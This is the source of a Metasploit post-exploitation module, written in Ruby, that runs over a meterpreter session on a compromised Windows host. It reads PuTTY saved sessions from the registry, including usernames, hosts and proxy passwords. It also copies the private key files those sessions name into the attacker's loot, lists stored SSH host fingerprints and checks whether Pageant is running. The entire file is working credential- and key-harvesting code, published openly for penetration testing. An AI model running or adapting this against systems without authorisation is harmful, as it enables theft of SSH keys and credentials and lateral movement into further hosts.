Path: blob/master/modules/post/windows/gather/enum_putty_saved_sessions.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Windows::Registry1011INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings', 'ProxyUsername', 'ProxyPassword']12PAGEANT_REGISTRY_KEY = 'HKCU\\Software\\SimonTatham\\PuTTY'13PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'PuTTY Saved Sessions Enumeration Module',20'Description' => %q{21This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session22information from the registry. PuTTY is very configurable; some users may have configured23saved sessions which could include a username, private key file to use when authenticating,24host name etc. If a private key is configured, an attempt will be made to download and store25it in loot. It will also record the SSH host keys which have been stored. These will be connections that26the user has previously after accepting the host SSH fingerprint and therefore are of particular27interest if they are within scope of a penetration test.28},29'License' => MSF_LICENSE,30'Platform' => ['win'],31'SessionTypes' => ['meterpreter'],32'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37},38'Compat' => {39'Meterpreter' => {40'Commands' => %w[41stdapi_railgun_api42]43}44}45)46)47end4849def get_saved_session_details(sessions)50all_sessions = []51sessions.each do |ses|52newses = {}53newses['Name'] = Rex::Text.uri_decode(ses)54INTERESTING_KEYS.each do |key|55newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s56end57all_sessions << newses58report_note(host: target_host, type: 'putty.savedsession', data: newses, update: :unique_data)59end60all_sessions61end6263def display_saved_sessions_report(info)64# Results table holds raw string data65results_table = Rex::Text::Table.new(66'Header' => 'PuTTY Saved Sessions',67'Indent' => 1,68'SortIndex' => -1,69'Columns' => ['Name'].append(INTERESTING_KEYS).flatten70)7172info.each do |result|73row = []74row << result['Name']75INTERESTING_KEYS.each do |key|76row << result[key]77end78results_table << row79end8081print_line82print_line results_table.to_s83stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Saved Sessions List')84print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")85end8687def display_private_key_analysis(info)88# Results table holds raw string data89results_table = Rex::Text::Table.new(90'Header' => 'PuTTY Private Keys',91'Indent' => 1,92'SortIndex' => -1,93'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS94)9596info.each do |result|97row = []98PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|99row << result[key]100end101results_table << row102end103104print_line105print_line results_table.to_s106# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")107# print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")108end109110def get_stored_host_key_details(allkeys)111# This hash will store (as the key) host:port pairs. This is basically a quick way of112# getting a unique list of host:port pairs.113all_ssh_host_keys = {}114115# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.116rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i117118# Go through each of the stored keys found in the registry119allkeys.each do |key|120# Store the raw key and value in a hash to start off with121newkey = {122rawname: key,123rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s124}125126# Take the key and split up host, port and fingerprint type. If it matches, store the information127# in the hash for later.128split_hostporttype = rx_split_hostporttype.match(key.to_s)129if split_hostporttype130131# Extract the host, port and key type into the hash132newkey['host'] = split_hostporttype[:host]133newkey['port'] = split_hostporttype[:port]134newkey['type'] = split_hostporttype[:type]135136# Form the key137host_port = "#{newkey['host']}:#{newkey['port']}"138139# Add it to the consolidation hash. If the same IP has different key types, append to the array140all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?141all_ssh_host_keys[host_port] << newkey['type']142end143report_note(host: target_host, type: 'putty.storedfingerprint', data: newkey, update: :unique_data)144end145all_ssh_host_keys146end147148def display_stored_host_keys_report(info)149# Results table holds raw string data150results_table = Rex::Text::Table.new(151'Header' => 'Stored SSH host key fingerprints',152'Indent' => 1,153'SortIndex' => -1,154'Columns' => ['SSH Endpoint', 'Key Type(s)']155)156157info.each do |key, result|158row = []159row << key160row << result.join(', ')161results_table << row162end163164print_line165print_line results_table.to_s166stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Stored SSH Host Keys List')167print_good("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")168end169170def grab_private_keys(sessions)171private_key_summary = []172sessions.each do |ses|173filename = ses['PublicKeyFile'].to_s174next if filename.empty?175176# Check whether the file exists.177if file?(filename)178ppk = read_file(filename)179if ppk # Attempt to read the contents of the file180stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)181print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")182183# Now analyse the private key184private_key = {}185private_key['Name'] = ses['Name']186private_key['UserName'] = ses['UserName']187private_key['HostName'] = ses['HostName']188private_key['PublicKeyFile'] = ses['PublicKeyFile']189private_key['Type'] = ''190private_key['Cipher'] = ''191private_key['Comment'] = ''192193# Get type of key194if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/195# This is an SSH1 header196private_key['Type'] = 'ssh1'197private_key['Comment'] = '-'198if ppk[33] == "\x00"199private_key['Cipher'] = 'none'200elsif ppk[33] == "\x03"201private_key['Cipher'] = '3DES'202else203private_key['Cipher'] = '(Unrecognised)'204end205elsif (rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s))206# This is an SSH2 header207private_key['Type'] = "ssh2 (#{rx[:keytype]})"208if (rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s))209private_key['Cipher'] = rx[:cipher]210else211private_key['Cipher'] = '(Unrecognised)'212end213214if (rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s))215private_key['Comment'] = rx[:comment]216end217end218private_key_summary << private_key219else220print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc221end222else223print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")224end225end226private_key_summary227end228229# Entry point230def run231# Look for saved sessions, break out if not.232print_status('Looking for saved PuTTY sessions')233saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")234if saved_sessions.nil? || saved_sessions.empty?235print_error('No saved sessions found')236else237238# Tell the user how many sessions have been found (with correct English)239print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")240241# Retrieve the saved session details & print them to the screen in a report242all_saved_sessions = get_saved_session_details(saved_sessions)243display_saved_sessions_report(all_saved_sessions)244245# If the private key file has been configured, retrieve it and save it to loot246print_status('Downloading private keys...')247private_key_info = grab_private_keys(all_saved_sessions)248if !private_key_info.nil? && !private_key_info.empty?249print_line250display_private_key_analysis(private_key_info)251end252end253254print_line # Just for readability255256# Now search for SSH stored keys. These could be useful because it shows hosts that the user257# has previously connected to and accepted a key from.258print_status('Looking for previously stored SSH host key fingerprints')259stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")260if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?261print_error('No stored SSH host keys found')262else263# Tell the user how many sessions have been found (with correct English)264print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")265266# Retrieve the saved session details & print them to the screen in a report267print_status('Downloading stored key fingerprints...')268all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)269if all_stored_keys.nil? || all_stored_keys.empty?270print_error('No stored key fingerprints found')271else272display_stored_host_keys_report(all_stored_keys)273end274end275276print_line # Just for readability277278print_status('Looking for Pageant...')279hwnd = client.railgun.user32.FindWindowW('Pageant', 'Pageant')280if hwnd['return']281print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")282else283print_error('Pageant is not running')284end285end286end287288289